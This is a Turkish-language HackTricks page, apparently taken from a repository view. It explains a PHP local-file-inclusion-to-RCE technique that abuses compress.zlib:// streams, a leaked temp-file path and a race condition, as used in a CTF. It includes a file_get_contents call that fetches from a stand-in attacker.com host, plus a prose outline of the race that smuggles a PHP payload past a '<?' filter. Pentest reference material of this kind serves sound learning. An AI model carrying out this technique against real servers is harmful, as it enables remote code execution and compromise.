hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
2024-02-10 18:14:16 +00:00

4.2 KiB
Raw Blame History

AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

compress.zlib:// ve PHP_STREAM_PREFER_STDIO

compress.zlib:// protokolü kullanılarak açılan bir dosya, PHP_STREAM_PREFER_STDIO bayrağı ile aynı dosyaya daha sonra bağlantıya gelen verileri yazmaya devam edebilir.

Bu, aşağıdaki gibi bir çağrı anlamına gelir:

file_get_contents("compress.zlib://http://attacker.com/file")

Aşağıdaki kod parçasında, sunucu isteği geçerli bir HTTP yanıtıyla yanıtlayabilir, bağlantıyıık tutabilir ve daha sonra zamanla ekstra veri gönderebilir. Bu bilgiyi php-src kodunun main/streams/cast.c bölümünde görebilirsiniz.

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

RCE için Yarış Koşulu

Önceki hile kullanılarak bu CTF çözüldü.

Saldırgan, compress.zlib protokolünü kullanarak hedef sunucunun saldırganın sunucusundan bir dosyayı okumasını sağlayacak bir bağlantı açmasını sağlayacak.

Bu bağlantı varken saldırgan, sunucu tarafından sızdırılan geçici dosyanın yolunu dışarı çıkaracak.

Bağlantı hala açıkken saldırgan, kontrol ettiği geçici dosyayı yükleyen bir LFI'yi sömürecek.

Ancak, web sunucusunda <? içeren dosyaların yüklenmesini engelleyen bir kontrol bulunmaktadır. Bu nedenle, saldırgan bir Yarış Koşulundan yararlanacaktır. Hala açık olan bağlantıda, saldırgan, web sunucusunun yasaklanmış karakterleri içeren dosyayı kontrol ettiği SONRA PHP payload'ını GÖNDERECEKTİR ancak İÇERİĞİNİ yüklemeden önce.

Daha fazla bilgi için Yarış Koşulu ve CTF'nin açıklamasını https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer adresinden kontrol edin.

AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: